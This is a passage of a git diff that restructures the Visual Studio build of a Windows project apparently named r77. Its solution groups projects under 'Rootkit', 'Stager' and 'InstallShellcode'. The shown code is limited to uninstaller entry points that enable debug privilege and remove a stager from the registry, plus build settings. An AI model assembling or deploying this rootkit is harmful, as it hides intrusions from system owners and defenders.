a/vs/TestConsole/Views/AboutPopup.xaml b/TestConsole/Views/AboutPopup.xaml similarity index 100% rename from vs/TestConsole/Views/AboutPopup.xaml rename to TestConsole/Views/AboutPopup.xaml diff --git a/vs/TestConsole/Views/AboutPopup.xaml.cs b/TestConsole/Views/AboutPopup.xaml.cs similarity index 100% rename from vs/TestConsole/Views/AboutPopup.xaml.cs rename to TestConsole/Views/AboutPopup.xaml.cs diff --git a/vs/TestConsole/Views/MainWindow.xaml b/TestConsole/Views/MainWindow.xaml similarity index 100% rename from vs/TestConsole/Views/MainWindow.xaml rename to TestConsole/Views/MainWindow.xaml diff --git a/vs/TestConsole/Views/MainWindow.xaml.cs b/TestConsole/Views/MainWindow.xaml.cs similarity index 100% rename from vs/TestConsole/Views/MainWindow.xaml.cs rename to TestConsole/Views/MainWindow.xaml.cs diff --git a/vs/TestConsole/app.manifest b/TestConsole/app.manifest similarity index 100% rename from vs/TestConsole/app.manifest rename to TestConsole/app.manifest diff --git a/vs/Uninstall/Resource.rc b/Uninstall/Resource.rc similarity index 100% rename from vs/Uninstall/Resource.rc rename to Uninstall/Resource.rc diff --git a/vs/Uninstall/Resources/.gitkeep b/Uninstall/Resources/.gitkeep similarity index 100% rename from vs/Uninstall/Resources/.gitkeep rename to Uninstall/Resources/.gitkeep diff --git a/src/Uninstall/Uninstall.cpp b/Uninstall/Uninstall.c similarity index 85% rename from src/Uninstall/Uninstall.cpp rename to Uninstall/Uninstall.c index a15de67..f3bcc00 100644 --- a/src/Uninstall/Uninstall.cpp +++ b/Uninstall/Uninstall.c @@ -1,8 +1,13 @@ -#include "Uninstall.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#define CUSTOM_ENTRY +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77config.h" +#include "r77process.h" + +int main() { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Delete the stager executable from the 32-bit view of the registry. HKEY key; diff --git a/vs/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj similarity index 77% rename from vs/Uninstall/Uninstall.vcxproj rename to Uninstall/Uninstall.vcxproj index 62a5e33..6b6fc0a 100644 --- a/vs/Uninstall/Uninstall.vcxproj +++ b/Uninstall/Uninstall.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,7 @@ + @@ -52,20 +53,26 @@ Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + EntryPoint + true "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -73,28 +80,32 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + EntryPoint + true "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - @@ -104,8 +115,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" - - + diff --git a/vs/Uninstall/Uninstall.vcxproj.filters b/Uninstall/Uninstall.vcxproj.filters similarity index 69% rename from vs/Uninstall/Uninstall.vcxproj.filters rename to Uninstall/Uninstall.vcxproj.filters index 6abf849..d08a424 100644 --- a/vs/Uninstall/Uninstall.vcxproj.filters +++ b/Uninstall/Uninstall.vcxproj.filters @@ -7,9 +7,6 @@ - - - @@ -20,7 +17,6 @@ - - + \ No newline at end of file diff --git a/vs/Uninstall/resource.h b/Uninstall/resource.h similarity index 100% rename from vs/Uninstall/resource.h rename to Uninstall/resource.h diff --git a/src/Uninstall64/Uninstall64.cpp b/Uninstall64/Uninstall64.c similarity index 75% rename from src/Uninstall64/Uninstall64.cpp rename to Uninstall64/Uninstall64.c index 7972046..532e974 100644 --- a/src/Uninstall64/Uninstall64.cpp +++ b/Uninstall64/Uninstall64.c @@ -1,10 +1,13 @@ -#include "Uninstall64.h" +#define CUSTOM_ENTRY +#include "r77def.h" +#include "r77win.h" +#include "r77process.h" // Uninstall64.exe is extracted and executed by Uninstall.exe -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +int main() { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Delete the stager executable from the 64-bit view of the registry. HKEY key; diff --git a/vs/Uninstall64/Uninstall64.vcxproj b/Uninstall64/Uninstall64.vcxproj similarity index 77% rename from vs/Uninstall64/Uninstall64.vcxproj rename to Uninstall64/Uninstall64.vcxproj index e992c9a..ce7e55f 100644 --- a/vs/Uninstall64/Uninstall64.vcxproj +++ b/Uninstall64/Uninstall64.vcxproj @@ -11,13 +11,7 @@ - - - - - - - + 16.0 @@ -30,13 +24,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -44,6 +38,7 @@ + @@ -54,21 +49,29 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + true + EntryPoint + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper @@ -80,16 +83,23 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Uninstall\Resources" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + true + EntryPoint + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper diff --git a/Uninstall64/Uninstall64.vcxproj.filters b/Uninstall64/Uninstall64.vcxproj.filters new file mode 100644 index 0000000..fdd7d71 --- /dev/null +++ b/Uninstall64/Uninstall64.vcxproj.filters @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/vs/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj similarity index 68% rename from vs/r77-x64/r77-x64.vcxproj rename to r77-x64/r77-x64.vcxproj index d9bf03d..5dbe126 100644 --- a/vs/r77-x64/r77-x64.vcxproj +++ b/r77-x64/r77-x64.vcxproj @@ -10,30 +10,6 @@ x64 - - - - - - - - - - - - - - - - - - - - - - - - 16.0 Win32Proj @@ -45,13 +21,13 @@ DynamicLibrary true - v142 + v143 Unicode DynamicLibrary false - v142 + v143 true Unicode @@ -59,6 +35,8 @@ + + @@ -69,26 +47,32 @@ true + false false + false Level3 - true - EXPORT_REFLECTIVE_DLL_MAIN;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + %(PreprocessorDefinitions) true MultiThreadedDebug + false + CompileAsC + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll" @@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77 Level3 true true - true - EXPORT_REFLECTIVE_DLL_MAIN;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + %(PreprocessorDefinitions) true MultiThreaded + false + MinSpace + Size + CompileAsC - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll" diff --git a/r77-x64/r77-x64.vcxproj.filters b/r77-x64/r77-x64.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/r77-x64/r77-x64.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/vs/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj similarity index 68% rename from vs/r77-x86/r77-x86.vcxproj rename to r77-x86/r77-x86.vcxproj index 37f3b3c..b221947 100644 --- a/vs/r77-x86/r77-x86.vcxproj +++ b/r77-x86/r77-x86.vcxproj @@ -10,30 +10,6 @@ Win32 - - - - - - - - - - - - - - - - - - - - - - - - 16.0 Win32Proj @@ -45,13 +21,13 @@ DynamicLibrary true - v142 + v143 Unicode DynamicLibrary false - v142 + v143 true Unicode @@ -59,6 +35,8 @@ + + @@ -69,26 +47,32 @@ true + false false + false Level3 - true - EXPORT_REFLECTIVE_DLL_MAIN;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + false + CompileAsC + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll" @@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77 Level3 true true - true - EXPORT_REFLECTIVE_DLL_MAIN;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + false + MinSpace + Size + CompileAsC - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll" diff --git a/r77-x86/r77-x86.vcxproj.filters b/r77-x86/r77-x86.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/r77-x86/r77-x86.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/r77.sln b/r77.sln new file mode 100644 index 0000000..2181b7e --- /dev/null +++ b/r77.sln @@ -0,0 +1,304 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32328.378 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}" + ProjectSection(ProjectDependencies) = postProject + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}" + ProjectSection(ProjectDependencies) = postProject + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}" + ProjectSection(ProjectDependencies) = postProject + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper", "Helper\Helper.vcxitems", "{E6543F7A-4E58-4C55-975E-ED975481EBE8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77api", "r77api\r77api.vcxitems", "{525FD9EB-628A-4D93-B320-3C1DFA0A216D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77", "r77\r77.vcxitems", "{6E4BB100-C3C9-4CF7-A637-08C2482C6B94}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Global", "Global", "{054A9EE5-7740-4460-A561-D0AC8CF051EF}" + ProjectSection(SolutionItems) = preProject + Global\GlobalAssemblyInfo.cs = Global\GlobalAssemblyInfo.cs + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallShellcode", "InstallShellcode\InstallShellcode.vcxitems", "{DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stager", "Stager\Stager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}" + ProjectSection(ProjectDependencies) = postProject + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "TestEnvironment", "TestEnvironment", "{75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{48D99D12-84EF-4BB3-946F-1366B9AA60B3}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Rootkit", "Rootkit", "{1A7FBF3D-F6D4-41A5-93FE-118A940F9086}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service", "Service\Service.vcxitems", "{46E171D4-1811-48BE-8867-A63C28761D28}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service32", "Service32\Service32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}" + ProjectSection(ProjectDependencies) = postProject + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Service64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}" + ProjectSection(ProjectDependencies) = postProject + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.Build.0 = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.Build.0 = Release|Any CPU + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.Build.0 = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.Build.0 = Release|x64 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.Build.0 = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.Build.0 = Release|Win32 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.Build.0 = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.Build.0 = Release|x64 + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.Build.0 = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.Build.0 = Release|Any CPU + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.Build.0 = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = 